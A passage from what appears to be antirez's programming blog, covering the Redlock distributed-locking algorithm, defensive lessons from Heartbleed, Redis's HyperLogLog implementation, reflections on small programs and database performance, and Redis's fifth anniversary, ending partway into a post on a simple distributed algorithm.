ensure that they’ll fail in a mostly independent way. In order to acquire the lock, the client performs the following operations: Step 1) It gets the current time in milliseconds. Step 2) It tries to acquire the lock in all the N instances sequentially, using the same key name and random value in all the instances. During the step 2, when setting the lock in each instance, the client uses a timeout which is small compared to the total lock auto-release time in order to acquire it. For example if the auto-release time is 10 seconds, the timeout could be in the ~ 5-50 milliseconds range. This prevents the client to remain blocked for a long time trying to talk with a Redis node which is down: if an instance is not available, we should try to talk with the next instance ASAP. Step 3) The client computes how much time elapsed in order to acquire the lock, by subtracting to the current time the timestamp obtained in step 1. If and only if the client was able to acquire the lock in the majority of the instances (at least 3), and the total time elapsed to acquire the lock is less than lock validity time, the lock is considered to be acquired. Step 4) If the lock was acquired, its validity time is considered to be the initial validity time minus the time elapsed, as computed in step 3. Step 5) If the client failed to acquire the lock for some reason (either it was not able to lock N/2+1 instances or the validity time is negative), it will try to unlock all the instances (even the instances it believe it was not able to lock). # Synchronous or not? Basically the algorithm is partially synchronous: it relies on the assumption that while there is no synchronized clock across the processes, still the local time in every process flows approximately at the same rate, with an error which is small compared to the auto-release time of the lock. This assumption closely resembles a real-world computer: every computer has a local clock and we can usually rely on different computers to have a clock drift which is small. Moreover we need to refine our mutual exclusion rule: it is guaranteed only as long as the client holding the lock will terminate its work within the lock validity time (as obtained in step 3), minus some time (just a few milliseconds in order to compensate for clock drift between processes). # Retry When a client is not able to acquire the lock, it should try again after a random delay in order to try to desynchronize multiple clients trying to acquire the lock, for the same resource, at the same time (this may result in a split brain condition where nobody wins). Also the faster a client will try to acquire the lock in the majority of Redis instances, the less window for a split brain condition (and the need for a retry), so ideally the client should try to send the SET commands to the N instances at the same time using multiplexing. It is worth to stress how important is for the clients that failed to acquire the majority of locks, to release the (partially) acquired locks ASAP, so that there is no need to wait for keys expiry in order for the lock to be acquired again (however if a network partition happens and the client is no longer able to communicate with the Redis instances, there is to pay an availability penalty and wait for the expires). # Releasing the lock Releasing the lock is simple and involves just to release the lock in all the instances, regardless of the fact the client believe it was able to successfully lock a given instance. # Safety arguments Is this system safe? We can try to understand what happens in different scenarios. To start let’s assume that a client is able to acquire the lock in the majority of instances. All the instances will contain a key with the same time to live. However the key was set at different times, so the keys will also expire at different times. However if the first key was set at worst at time T1 (the time we sample before contacting the first server) and the last key was set at worst at time T2 (the time we obtained the reply from the last server), we are sure that the first key to expire in the set will exist for at least MIN_VALIDITY=TTL-(T2-T1)-CLOCK_DRIFT. All the other keys will expire later, so we are sure that the keys will be simultaneously set for at least this time. During the time the majority of keys are set, another client will not be able to acquire the lock, since N/2+1 SET NX operations can’t succeed if N/2+1 keys already exist. So if a lock was acquired, it is not possible to re-acquire it at the same time (violating the mutual exclusion property). However we want to also make sure that multiple clients trying to acquire the lock at the same time can’t simultaneously succeed. If a client locked the majority of instances using a time near, or greater, than the lock maximum validity time (the TTL we use for SET basically), it will consider the lock invalid and will unlock the instances, so we only need to consider the case where a client was able to lock the majority of instances in a time which is less than the validity time. In this case for the argument already expressed above, for MIN_VALIDITY no client should be able to re-acquire the lock. So multiple clients will be albe to lock N/2+1 instances at the same time (with “time" being the end of Step 2) only when the time to lock the majority was greater than the TTL time, making the lock invalid. Are you able to provide a formal proof of safety, or to find a bug? That would be very appreciated. # Liveness arguments The system liveness is based on three main features: 1) The auto release of the lock (since keys expire): eventually keys are available again to be locked. 2) The fact that clients, usually, will cooperate removing the locks when the lock was not acquired, or when the lock was acquired and the work terminated, making it likely that we don’t have to wait for keys to expire to re-acquire the lock. 3) The fact that when a client needs to retry a lock, it waits a time which is comparable greater to the time needed to acquire the majority of locks, in order to probabilistically make split brain conditions during resource contention unlikely. However there is at least a scenario where a very special network partition/rejoin pattern, repeated indefinitely, may violate the system availability. For example with N=5, two clients A and B may try to lock the same resource at the same time, nobody will be able to acquire the majority of locks, but they may be able to lock the majority of nodes if we sum the locks of A and B (for example client A locked 2 instances, client B just one instance). Then the clients are partitioned away before they can unlock the locked instances. This will leave the resource not lockable for a time roughly equal to the auto release time. Then when the keys expire, the two clients A and B join again the partition repeating the same pattern, and so forth indefinitely. Another point of view to see the problem above, is that we pay an availability penalty equal to “TTL” time on network partitions, so if there are continuous partitions, we can pay this penalty indefinitely. I can’t find a simple way to have guaranteed liveness (but did not tried very hard honestly), but the worst case appears to be hard to trigger. Basically it means that we can only provide, using this algorithm, an approximation of Property number 2. # Performance, crash-recovery and fsync Many users using Redis as a lock server need high performance in terms of both latency to acquire and release a lock, and number of acquire / release operations that it is possible to perform per second. In order to meet this requirement, the strategy to talk with the N Redis servers to reduce latency is definitely multiplexing (or poor’s man multiplexing, which is, putting the socket in non-blocking mode, send all the commands, and read all the commands later, assuming that the RTT between the client and each instance is similar). However there is another consideration to do about persistence if we want to target a crash-recovery system model. Basically to see the problem here, let’s assume we configure Redis without persistence at all. A client acquires the lock in 3 of 5 instances. One of the instances where the client was able to acquire the lock is restarted, at this point there are again 3 instances that we can lock for the same resource, and another client can lock it again, violating the safety property of exclusivity of lock. If we enable AOF persistence, things will improve quite a bit. For example we can upgrade a server by sending SHUTDOWN and restarting it. Because Redis expires are semantically implemented so that virtually the time still elapses when the server is off, all our requirements are fine. However everything is fine as long as it is a clean shutdown. What about a power outage? If Redis is configured, as by default, to fsync on disk every second, it is possible that after a restart our key is missing. Long story short if we want to guarantee the lock safety in the face of any kind of instance restart, we need to enable fsync=always in the persistence setting. This in turn will totally ruin performances to the same level of CP systems that are traditionally used to implement distributed locks in a safe way. The good news is that because in our algorithm we don’t stop to acquire locks as soon as we reach the majority of the servers, the actual probability of safety violation is small, because most of the times the lock will be hold in all the 5 servers, so even if one restarts without a key, it is practically unlikely (but not impossible) that an actual safety violation happens. Long story short, this is an user pick, and a big trade off. Given the small probability for a race condition, if it is acceptable that with an extremely small probability, after a crash-recovery event, the lock may be acquired at the same time by multiple clients, the fsync at every operation can (and should) be avoided. # Reference implementation I wrote a simple reference implementation in Ruby, backed by redis-rb, here: http://github.com/antirez/redlock-rb # Want to help? If you are into distributed systems, it would be great to have your opinion / analysis. Also reference implementations in other languages could be great. Thanks in advance! EDIT: I received feedbacks in this blog post comment and via Hacker News that's worth to incorporate in this blog post. 1) As Steven Benjamin notes in the comments below, if after restarting an instance we can make it unavailable for enough time for all the locks that used this instance to expire, we don't need fsync. Actually we don't need any persistence at all, so our safety guarantee can be provided with a pure in-memory configuration. An example: previously we described the example race condition where a lock is obtained in 3 servers out of 5, and one of the servers where the lock was obtained restarts empty: another client may acquire the same lock by locking this server and the other two that were not locked by the previous client. However if the restarted server is not available for queries enough time for all the locks that were obtained with it to expire, we are guaranteed this race is no longer possible. 2) The Hacker News user eurleif noticed how it is possible to reacquire the lock as a strategy if the client notices it is taking too much time in order to complete the operation. This can be done by just extending an existing lock, sending a script that extends the expire of the value stored at the key is the expected one. If there are no new partitions, and we try to extend the lock enough in advance so that the keys will not expire, there is the guarantee that the lock will be extended. 3) The Hacker News user mjb noted how the term "skew" is not correct to describe the difference of the rate at which different clocks increment their local time, and I'm actually talking about "Drift". I'm replacing the word "skew" with "drift" to use the correct term. Thanks for the very useful feedbacks. Comments

• Using Heartbleed as a starting point
  Apr 10, 2014

  The strong reactions about the recent OpenSSL bug are understandable: it is not fun when suddenly all the internet needs to be patched. Moreover for me personally how trivial the bug is, is disturbing. I don’t want to point the finger to the OpenSSL developers, but you just usually think at those class of issues as a bit more subtle, in the case of a software like OpenSSL. Usually you fail to do sanity checks *correctly*, as opposed to this bug where there is a total *lack* of bound checks in the memcpy() call. However sometimes in the morning I read the code I wrote the night before and I’m deeply embarrassed. Programmers sometimes fail, I for sure do often, so my guess is that what is needed is a different process, and not a different OpenSSL team. There is who proposes a different language safer than C, and who proposes that the specification is broken because it is too complex. Probably there is some truth in both arguments, however it is unlikely that we move to a different specification or system language soon, so the real question is, what we can do now to improve system software security? 1) Throw money at it. Making system code safer is simple if there are investments. If different companies hire security experts to do code auditings in the OpenSSL code base, what happens is that the probability of discovering a bug like heartbleed is greater. I’ve seen very complex bugs that are triggered by a set of non-trivial conditions being discovered by serious code auditing efforts. A memcpy() without bound checks is something that if you analyze the code security-wise, will stand out in the first read. And guess how heartbleed was discovered? Via security auditings performed at Google. Probably the time to consider open source something that mostly we take from is over. Many companies should follow the example of Google and other companies, using workforce for OSS software development and security. 2) Static and dynamic checks. Static code analysis is, as a side effect, a semi-automated way to do code auditings. In critical system code like OpenSSL even to do some source code annotation or use a set of rules to make static analysis more effective is definitely acceptable. Static tools today are not a total solution, but the output of a static analysis if carefully inspected by an expert programmer can provide some value. Another great help comes from dynamic checks like Valgrind. Every system software written in C should be tested using Valgrind automatically at every new commit. 3) Abstract C with libraries. C is low level and has no built in safety in the language. However something good about C is that it is a language that allows to build layers on top of its rawness. A sane dynamic string library prevents a lot of buffer overflow issues, and today almost every decent project is using one. However there is more you can do about it. For example for security critical code where memory can contain things like private keys, you can augment your dynamic string library with memory copy primitives that only copy from one buffer to the other performing implicit sanity checks. Moreover if a buffer contains critical data, you can set logical permissions so that trying to copy from this area aborts the program. There are other less-portable ways using memory management to protect important memory pages in an even more effective ways, however an higher C-level protection can be much simpler in the real-world because of portability / predictability concerns. In general many things can be explored to avoid using C without protections, creating a library that abstracts on top of it to make programming safer. 4) Randomized tests. Unit tests are unlikely to trigger edge cases and failed sanity checks. There is a class of tests that is known since decades that is, in my opinion, not used enough: fuzzy testing. The OpenSSL bug was definitely discoverable by sending different kind of OpenSSL packets with different randomized parameters, in conjunction with dynamic analysis tools like Valgrind. In my experience having a great deal of randomized tests together with an environment where the same tests are ran again and again with the program running over Valgrind, can discover a number of real-world bugs that gets otherwise unnoticed. There are many models to explore, usually you want something that injects totally random data, and intermediate models where valid packets are corrupted in different random ways. A typical example of this technique is the old DNS compression infinite-loop bug. Trow a few random packets to a naive implementation and you’ll find it in a matter of minutes. 5) Change of mentality about security vs performance. It is interesting that OpenSSL is doing its own allocation caching stuff because in some systems malloc/free is slow. This is a sign that still performances, even in security critical code, is regarded with too much respect over safety. In this specific instance, it must be admitted that probably when the OpenSSL developers wrapped malloc, they never though of security implications by doing so. However the fact that they cared about a low-level detail like the allocation functions in *some* system is a sign of deep concerns about performances, while they should be more deeply concerned about the correctness / safety of the system. In general it does not help the fact that the system that is the de facto standard in today’s servers infrastructure, that is, Linux, has had, and still has, one of the worst allocators you will find around, mostly for licensing concerns, since the better allocators are not GPL but BSD licensed. Probably yet another area where big corps should contribute, by providing significant improvements to glibc malloc. Glibc malloc is, even if better alternatives are available, what many real-world system softwares are going to use anyway. I would love to see the discussion about heartbleed to take a more pragmatic approach, because one thing is guaranteed: to blame here or there will not change the actual level of the security of OpenSSL or anything else, and there are new challenges in the future. For example the implementation of HTTP/2.0 may be a very delicate moment security wise. EDIT: Actually I was not right and the malloc implementation inside the Glibc is BSD licensed, so it is not a license issue. I don't know why the Glibc is not using Jemalloc instead that is very good and actively developed allocator. Comments

• Redis new data structure: the HyperLogLog
  Apr 01, 2014

  Generally speaking, I love randomized algorithms, but there is one I love particularly since even after you understand how it works, it still remains magical from a programmer point of view. It accomplishes something that is almost illogical given how little it asks for in terms of time or space. This algorithm is called HyperLogLog, and today it is introduced as a new data structure for Redis. Counting unique things === Usually counting unique things, for example the number of unique IPs that connected today to your web site, or the number of unique searches that your users performed, requires to remember all the unique elements encountered so far, in order to match the next element with the set of already seen elements, and increment a counter only if the new element was never seen before. This requires an amount of memory proportional to the cardinality (number of items) in the set we are counting, which is, often absolutely prohibitive. There is a class of algorithms that use randomization in order to provide an approximation of the number of unique elements in a set using just a constant, and small, amount of memory. The best of such algorithms currently known is called HyperLogLog, and is due to Philippe Flajolet. HyperLogLog is remarkable as it provides a very good approximation of the cardinality of a set even using a very small amount of memory. In the Redis implementation it only uses 12kbytes per key to count with a standard error of 0.81%, and there is no limit to the number of items you can count, unless you approach 2^64 items (which seems quite unlikely). The algorithm is documented in the original paper [1], and its practical implementation and variants were covered in depth by a 2013 paper from Google [2]. [1] http://algo.inria.fr/flajolet/Publications/FlFuGaMe07.pdf [2] http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/40671.pdf How it works? === There are plenty of wonderful resources to learn more about HyperLogLog, such as [3]. [3] http://blog.aggregateknowledge.com/2012/10/25/sketch-of-the-day-hyperloglog-cornerstone-of-a-big-data-infrastructure/ Here I’ll cover only the basic idea using a very clever example found at [3]. Imagine you tell me you spent your day flipping a coin, counting how many times you encountered a non interrupted run of heads. If you tell me that the maximum run was of 3 heads, I can imagine that you did not really flipped the coin a lot of times. If instead your longest run was 13, you probably spent a lot of time flipping the coin. However if you get lucky and the first time you get 10 heads, an event that is unlikely but possible, and then stop flipping your coin, I’ll provide you a very wrong approximation of the time you spent flipping the coin. So I may ask you to repeat the experiment, but this time using 10 coins, and 10 different piece of papers, one per coin, where you record the longest run of heads. This time since I can observe more data, my estimation will be better. Long story short this is what HyperLogLog does: it hashes every new element you observe. Part of the hash is used to index a register (the coin+paper pair, in our previous example. Basically we are splitting the original set into m subsets). The other part of the hash is used to count the longest run of leading zeroes in the hash (our run of heads). The probability of a run of N+1 zeroes is half the probability of a run of length N, so observing the value of the different registers, that are set to the maximum run of zeroes observed so far for a given subset, HyperLogLog is able to provide a very good approximated cardinality. The Redis implementation === The standard error of HyperLogLog is 1.04/sqrt(m), where “m” is the number of registers used. Redis uses 16384 registers, so the standard error is 0.81%. Since the hash function used in the Redis implementation has a 64 bit output, and we use 14 bits of the hash output in order to address our 16k registers, we are left with 50 bits, so the longest run of zeroes we can encounter will fit a 6 bit register. This is why a Redis HyperLogLog value only uses 12k bytes for 16k registers. Because of the use of a 64 bit output function, which is one of the modifications of the algorithm that Google presented in [2], there are no practical limits to the cardinality of the sets we can count. Moreover it is worth to note that the error for very small cardinalities tend to be very small. The following graph shows a run of the algorithm against two different large sets. The cardinality of the set is shown in the x axis, while the relative error (in percentage) in the y axis. img://antirez.com/misc/hll_1.png The red and green lines are two different runs with two totally unrelated sets. It shows how the error is consistent as the cardinality increases. However for much smaller cardinalities, you can enjoy a much smaller error: img://antirez.com/misc/hll_2.png The green line shows the error of a single run up to cardinality 100, while the red line is the maximum error found in 100 runs. Up to a cardinality of a few hundreds the algorithm is very likely to make a very small error or to provide the exact answer. This is very valuable when the computed value is shown to an user that can visually match if the answer is correct. The source code of the Redis implementation is available at Github: https://github.com/antirez/redis/blob/unstable/src/hyperloglog.c The API === From the point of view of Redis an HyperLogLog is just a string, that happens to be exactly 12k + 8 bytes in length (12296 bytes to be precise). All the HyperLogLog commands will happily run if called with a String value exactly of this size, or will report an error. However all the calls are safe whatever is stored in the string: you can store garbage and still ask for an estimation of the cardinality. In no case this will make the server crash. Also everything in the representation is endian neutral and is not affected by the processor word size, so a 32 bit big endian processor can read the HLL of a 64 bit little endian processor. The fact that HyperLogLogs are strings avoided the introduction of an actual type at RDB level. This allows the work to be back ported into Redis 2.8 in the next days, so you’ll be able to use HyperLogLogs ASAP. Moreover the format is automatically serialized, and can be retrieved and restored easily. The API is constituted of three new commands: PFADD var element element … element PFCOUNT var PFMERGE dst src src src … src The commands prefix is “PF” in honor of Philippe Flajolet [4]. [4] http://en.wikipedia.org/wiki/Philippe_Flajolet PFADD adds elements to the HLL stored at “var”. If the variable does not exist, an empty HLL is automatically created as it happens always with Redis API calls. The command is variadic, so allows for very aggressive pipelining and mass insertion. The command returns 1 if the underlying HyperLogLog was modified, otherwise 0 is returned. This is interesting for the user since as we add elements the probability of an element actually modifying some register decreases. The fact that the API is able to provide hints about the fact that a new cardinality is available allows for programs that continuously add elements and retrieve the approximated cardinality only when a new one is available. PFCOUNT returns the estimated cardinality, which is zero if the key does not exist. Finallly PFMERGE can merge N different HLL values into one. The resulting HLL will report an estimated cardinality that is the cardinality of the union of the different sets that we counted with the different HLL values. This seems magical but works because HLL while randomized is fully deterministic, so PFMERGE just takes, for every register, the maximum value available across the N HLL values. A given element hashes to the same register with the same run of zeroes always, so the merge performed in this way will only add the count of the elements that are not common to the different HLLs. As you can see HyperLogLog is fully parallelizable, since it is possible to split a set into N subsets counted independently to later merge the values and obtain the total cardinality approximation. The fact that HLLs in Redis are just strings helps to move HLL values across instances. First make it correct, then make it fast === Redis HHLs are composed of 16k registers packed into 6 bit integers. This creates several performance issues that must be solved in order to provide an API of commands that can be called without thinking too much. One problem is that accessing to registers require accessing multiple bytes, shifting, and masking in order to retrieve the correct 6 bit value. This is not a big problem for PFADD that only touches a register for every element, but PFCOUNT needs to perform a computation using all the 16k registers, so if there are non trivial constant times to access every single register, the command risks to be slow. Moreover, while accessing the registers, we need to compute the sum of pow(2,-register) which involves floating point math. One may feel the temptation of using full bytes instead of 6 bit integers in order to speedup the computation, however this would be a shame since every HLL would use 16k instead of 12k that is a non trivial difference, so this route was discarded at the beginning. The command was optimized for a speedup of about 3 times compared to the initial implementation by doing the following changes: * For m=16k which is the Redis default (the implementation is more generic and could theoretically work with different values) the implementation selects a fast-path with unrolled loops accessing 16 register at every time. The registers are accessed using fixed offsets / shifts / masks (via some pointer that is incremented 12 bytes at the next iteration). * The floating point computation was modified in order to allow for multiple operations to be performed in parallel when possible. This was just a matter of adding parens. Floating point math is not commutative, but in this case there was no loss of precision. * The pow(2,-register) term was precomputed in a lookup table. With the 3x speedup provided by the above changes the command was able to perform about 60k calls per second in a fast hardware. However this is still far from the hundreds thousands calls possible with commands that are, from the user point of view, conceptually similar, like SCARD. Instead of optimizing the computation of the approximated cardinality further, there was a simpler solution. Basically the output of the algorithm only changes if some register changes. However as already observed above, most of the PFADD calls don’t result in any register changed. This basically means that it is possible to cache the last output and recompute it only if some register changes. So our data structure has an additional tail of 8 bytes representing a 64bit unsigned integer in little endian format. If the most significant bit is set, then the precomputed value is stale and requires to be recomputed, otherwise PFCOUNT can use it as it is. PFADD just turns on the “invalid cache” bit when some register is modified. After this change even trying to add elements at maximum speed using a pipeline of 32 elements with 50 simultaneous clients, PFCOUNT was able to perform as well as any other O(1) command with very small constant times. Bias correction using polynomial regression === The HLL algorithm, in order to be practical, must work equally well in any cardinality range. Unfortunately the raw estimation performed by the algorithm is not very good for cardinalities less than m*2.5 (around 40000 elements for m=16384) since in this range the algorithm outputs biased or even results with larger errors depending on the exact range. The original HLL paper [1] suggests switching to Linear Counting [5] when the raw cardinality estimated by the first part of the HLL algorithm is less than m*2.5. [5] http://dblab.kaist.ac.kr/Publication/pdf/ACM90_TODS_v15n2.pdf Linear counting is a different cardinality estimator that uses a simple concept. We have a bitmap of N bits. Every time a new element must be counted, it is hashed, and the hash is used in order to index a random bit inside the bitmap, that is turned to 1. The number of unset bits in the bitmap gives an idea of how many elements we added so far using the following formula: cardinality = m*log(m/ez); Where ‘ez’ is the number of zero bits and m is the total number of bits in the bitmap. Linear counting does not work well for large cardinalities compared to HyperLogLog, but works very well for small cardinalities. Since the HLL registers as a side effect also work as a linear counting bitmap, counting the number of zero registers it is possible to apply linear counting for the range where HLL does not perform well. Note that this is possible because when we update the registers, we don’t really use the longest run of zeroes, but the longest run of zeroes plus one. This means that if an element is added and it is addressing a register that was never addressed, the register will turn from 0 to a different value (at least 1). The problem with linear counting is that as the cardinality gets bigger, its output error gets larger, so we need to switch to HLL ASAP. However when we switch at 2.5m, HLL is still biased. In the following image the same cardinality was tested with 1000 different sets, and the error of each run is reported as a point: img://antirez.com/misc/hll_3.png The blu line is the average of the error. As you can see before a cardinality of 40k, where linear counting is used, the more we go towards greater cardinalities, the more the points “beam” gets larger (bigger errors). When we switch to HLL raw estimate the error is smaller, but there is a bias: the algorithm overestimates the cardinality in the range 40k-80k. Google engineers studied this problem extensively [2] in order to correct the bias. Their solution was to create an empirical table of cardinality values and the corresponding biases. Their modified algorithm uses the table and interpolation in order to get the bias in a given range, and correct accordingly. I used a different approach: you can see that the bias is not random but looks like a very smooth curve, so I calculated a few cardinality-bias samples and performed polynomial regression in order to find a polynomial approximating the curve. Currently I’m using a four order polynomial to correct in the range 40960-72000, and the following is the result after the bias correction: img://antirez.com/misc/hll_4.png While there is still some bias at the switching point between the two algorithms, the result is quite satisfying compared to the vanilla HLL algorithm, however it is probably possible to use a curve that fits better the bias curve. I had no time to investigate this further. It is worth to note that during my investigations I found that, when no bias correction is used, and at least for m=16384, the best value to switch from linear counting to raw HLL estimate is actually near 3 and not 2.5 as mentioned in [1], since a value of 3 both improves bias and error. Values larger than 3 will improve the bias (a value of 4 completely corrects it) but will have bad effects on the error. The original HLL algorithm also corrects for values towards 2^32 [1][2] since once we approach very large values collisions in the hash function starts to be an issue. We don’t need such correction since we use a 64 bit hash function and 6 bits counters, which is one of the modifications proposed by Google engineers [2] and adopted by the Redis implementation. Future work === Intuitively it seems like it is possible to improve the error of the algorithm output when linear counting is used by exploiting the additional informations we have. In the standard linear counting algorithm the registers are just 1 bit wide, so we have only two informations: if an element so far hashed to this bit or not. Still the HLL algorithm as proposed initially [1] and as modified at Google [2], when reverting to linear counting still only use the number of zero registers as the input of the algorithm. It is possible that also using the information stored in the registers could improve the output. For example in standard linear counting, assuming we have 10 bits, I may add 5 elements that all happen to address the same bit. This is an odd case that the algorithm has no way to correct, and the estimation provided will likely be smaller than the actual cardinality. However in the linear counting algorithm used by HLL in a similar situation we may found that the value at the only register set is an hint about multiple elements colliding there, allowing a correction of the output. Conclusion === HyperLogLog is an amazing data structure. My hope is that the Redis implementation, that will be available in a stable release in a matter of days (Redis 2.8.9 will include it), will provide this tool in a ready to use form to many programmers. The HN post is here: https://news.ycombinator.com/item?id=7506774 Comments

• Fascinating little programs
  Mar 13, 2014

  Yesterday and today I managed to spend some time with linenoise (http://github.com/antirez/linenoise), a minimal line-editing library designed to be a simple and small replacement for readline. I was trying to merge a few pull requests, to fix issues, and doing some refactoring at the same time. It was some kind of nirvana I was feeling: a complete control of small, self-contained, and useful code. There is something special in simple code. Here I’m not referring to simplicity to fight complexity or over engineering, but to simplicity per se, auto referential, without goals if not beauty, understandability and elegance. After all the programming world has always been fascinated with small programs. For decades programmers challenged in 1k or 4k contexts, from the 6502 assembler to today’s javascript contests. Even the obfuscated C contest, after all, has a big component in the minimalism. Why is it so great to hack a small piece of code? Yes is small and simple, those are two good points. It can be totally understood, dominated. You can use smartness since little code is the only place of the world where coding smartness will pay off, since in large projects obviousness is far better in the long run. However I believe there is more than that, and is that small programs can be perfect. As perfect as a sonnet composed of a few words. The limits in size and in scope, constitute an intellectual stratagem to avoid the “it may be better" trap, when this better is not actually measurable and evident. Under these strict limits, what the program does is far more interesting than what it does not. Actually the constraints are the more fertile ground for creativity of the solutions, otherwise likely useless: at scale there is always a more correct, understood, canonical way to do everything. There is an interview of Bill Gates in the first years of the Microsoft experience where he describes this feeling when writing the famous Microsoft BASIC interpreter. The limits were the same we self impose today to ourselves for fun, in the contests, or just for the sake of it. There was a generation of programmers that was able to experience perfection in their creations, where it was obvious to measure and understand if a change actually lead to an improvement of the program or not, in a territory where space and time were so scarse. There was no room for wastes and not needed complexity. Today’s software is in some way the triumph of the other reality of software: layers of complexities that gave use incredible devices or infrastructure technologies that in the hands of non experts leverage a number of possibilities. However maybe there is still something to preserve from the ancient times where software could be perfect, the feeling that what you are creating has a structure and is not just a pile of code that works. If you zoom out enough, you’ll see your large program is actually quite small again, and at least at this scale, it should resemble perfection, or at least, aim at it. Comments

• What is performance?
  Feb 28, 2014

  The title of this blog post is an apparently trivial to answer question, however it is worth to consider a bit better what performance really means: it is easy to get confused between scalability and performance, and to decompose performance, in the specific case of database systems, in its different main components, may not be trivial. In this short blog post I’ll try to write down my current idea of what performance is in the context of database systems. A good starting point is probably the first slide I use lately in my talks about Redis. This first slide is indeed about performance, and says that performance is mainly three different things. 1) Latency: the amount of time I need to get the reply for a query. 2) Operations per unit of time per core: how many queries (operations) the system is able to reply per second, in a given reference computational unit? 3) Quality of operations: how much work those operations are able to accomplish? Latency — This is probably the simplest component of performance. In many applications it is desirable that the time needed to get a reply from the system is small. However while the average time is important, another concern is the predictability of the latency figure, and how much difference there is between the average case and the worst case. When used well, in-memory systems are able to provide very good latency characteristics, and are also able to provide a consistent latency over time. Operations per second per core — The second component I’m enumerating is what makes the difference between raw performance and scalability. We are interested in the amount of work the system is able to do, in a given unit of time, for a given reference computational unit. Linearly scalable systems can reach a big number of operations per second by using a number of nodes, however this means they are scalable, and not necessarily performant. Operations per second per core is also usually bound to the amount of queries you can perform per watt, so to the energy efficiency of the system. Quality of operations — The last point, while probably not as stressed among developers as throughput and latency, is really important in certain kind of systems, especially in-memory systems. A system that is able to perform 100 operations per second, but with operations of “poor quality” (for example just GET and SET in Redis terms) has a lower performance compared to a system that is also able to perform an INCR operation with the same latency and OPS characteristics. For instance, if the problem at hand is to increment counters, the former system will require two operations to increment a counter (we are not considering race conditions in this context), while the system providing INCR is able to use a single operation. As a result it is actually able to provide twice the performance of the former system. As you can see the quality of operations is not an absolute meter, but depends on the kind of problem to solve. The same two systems if we want to cache HTML fragments are equivalent since the INCR operation would be useless. The quality of operations is particularly important in in-memory systems, since usually the computation itself is negligible compared to the time needed to receive, dispatch the command, and create a reply, so systems like Redis with a rich set of operations are able to provide better performance in many contexts almost for free, just allowing the user to do more with a single operation. The “do more” part can actually mean a lot of things: either provide a reply to a more complex question, like for example the ZRANK command of Redis, or simply being able to provide a more *selective* reply, like HMGET command that is able to provide information just for a subset of the fields composing an Hash value, reducing the amount of bandwidth required between the server and its clients. In general quality of operations don't only affect performances because they give less or more value to the operations per second the system is able to perform: operations quality also directly affect latency, since more complex operations are able to avoid back and forth data transfer between clients and servers required to mount multiple simpler operations into a more complex computation. Conclusion — I hope that this short exploration of what performance is uncovered some of the complexities involved in the process of evaluating the capabilities of a database system from this specific point of view. There is a lot more to say about it, but I found that the above three components of the performance are among the most interesting and important when evaluating a system and when there is to understand how to evolve an existing system to improve its performance characteristics. Thanks to Yiftach Shoolman for feedbacks about this topic. Comments

• Happy birthday Redis!
  Feb 26, 2014

  Today Redis is 5 years old, at least if we count starting from the initial HN announcement [1], that’s actually a good starting point. After all an open source project really exists as soon as it is public. I’m a bit shocked I worked for five years straight to the same thing. The opportunities for learning new things I had because of the directions where Redis pushed me, and the opportunities to learn new things that I missed because I had almost consistently no time for random hacking, are huge. My feeling today is that the Redis project was possible because of the great coders I encountered in my journey: they made Redis popular adopting it in its infancy, since great coders don’t follow the hype. Great coders provided outstanding additions to Redis in the form of patches and ideas that were able to surpass my instinct to be conservative when the topic was to extend the system or accept external contributions. More great coders made possible to sponsor Redis when it was in its infancy, recognizing that there was something interesting about it, and more great coders applied it in the right way to solve problems in the course of many years, wrote an incredible ecosystem of client libraries and tools, and helped other coders to apply it when it was not clear what was the best way to solve a given problem. The Redis community is outstanding because in some way it managed to attract a number of great coders. I learned that in the future, whatever I’ll do more coding or I’ll be in a team to build something great in a different role, my top priority will be to stay with great coders, and I learned that they are not easy to recognize at first: their abilities don’t correlate with the number of followers on Twitter nor with the number of Github repositories. You have to discover great coders one after the other, and the biggest gift that Redis provided to me, was to get exposed to many of them. In the course of five years there was also time, for me, to evolve my idea of what Redis is. The idea I’ve of Redis today is that its contribution should be to try to explore corner designs and bizzarre ideas. After all there are large teams of people much smarter than me trying to work on the hard problems applying the best technologies available. Redis will continue to be a small research in more obscure places of the design space. After all I’ve the feeling that it helped to popularize certain non obvious ideas, like using data structures as data model for key value stores and caches, or that it is possible to apply scripting to database systems in a different way than stored procedures. However for Redis to be able to do this research, I should be ready to be opinionated and change development direction when something is weak. This was done in the past, deprecating swap and diskstore, but should be done even more in the future. Moreover Redis should be able to purse different goals at the same time: once Redis 3.0 will be stable, the design of Redis Cluster is conceived in order to leave my hands free about changes in the data model, without too much limits or compromises. This will result in a Redis 3.2 release that will focus again on the API, stressing one of the initial and fundamental aspects of Redis: caching, data model and computation. It is entirely not obvious to me, after five years, to consider the Redis journey still ongoing, and I’m happy about it, because my motivations are not investors or shares, nor that I’m particularly in love with Redis as a project. If something new appears tomorrow that marginalizes Redis and makes it totally useless I’ll be very happy to start some new gig, after all this is how technology works: for cycles. And, after all, starting from scratch with something new is always exciting. However currently I believe there is more to do about Redis, and I’ll be happy to continue my work on it in the next weeks. [1] https://news.ycombinator.com/item?id=494649 Comments

• A simple distributed algorithm for small idempotent information
  Feb 21, 2014

  In this blog post I’m going to describe a very simple distributed algorithm that is useful in different programming scenarios. The algorithm is useful when you need to take some kind of information synchronized among a number of processes. The information can be everything as long as it is composed of a small number of bytes, and as long as it is idempotent, that is, the current value of the information does not depend on the previous value, and we can just replace an old value, with the new one. The size of the information is important because for the way the algorithm works, the information should be small enough that every node can broadcast it from time to time to some other random node, so it should fit the size of an “heartbeat” packet. Let’s say that up to a few kbytes everything is fine. This algorithm is no new in any way, it is basically just a trivial way to put together obvious ideas found in other distributed algorithms in a simple way. However the algorithm is very useful in many real-world contexts, and is extremely simple to implement. The algorithm is mostly borrowed from Raft, however because of the premises it uses only a subset of Raft that is trivial to implement. An example scenario === To understand better the algorithm, it is much better to have an example of problem that we want to solve in our distributed system. Let’s say that we have N processes connected with two kind of wifi networks: a very reliable but slow wireless network, that is only suitable to send “control” packets like heartbeats or other low bandwidth data, and a very fast wireless network. Now let’s imagine that while the slow network works at a fixed frequency, the high speed wireless network requires to adapt to changing conditions and noises in a given frequency, and is able to hop to a different frequency as soon as too much noise is detected. We need a way to make sure that all the processes use the same frequency to communicate with the high speed network, and we also need a way to switch frequency when the currently used frequency has issues. We need this system to work if there are network partitions in the slow network, as long as the majority of the processes are able to communicate. Note that this problem has the properties stated above: 1) The information is idempotent, if the high speed network switched to an different frequency, the new frequency does not depend on the old frequency. A process receiving the new frequency can just update frequency regardless of the fact that its old frequency was updated, or an older one (because for some reason it did not received some update). 2) The information is small, it is possible to propagate it easily across nodes in a small data packet. In this case it is actually extremely small, for example the 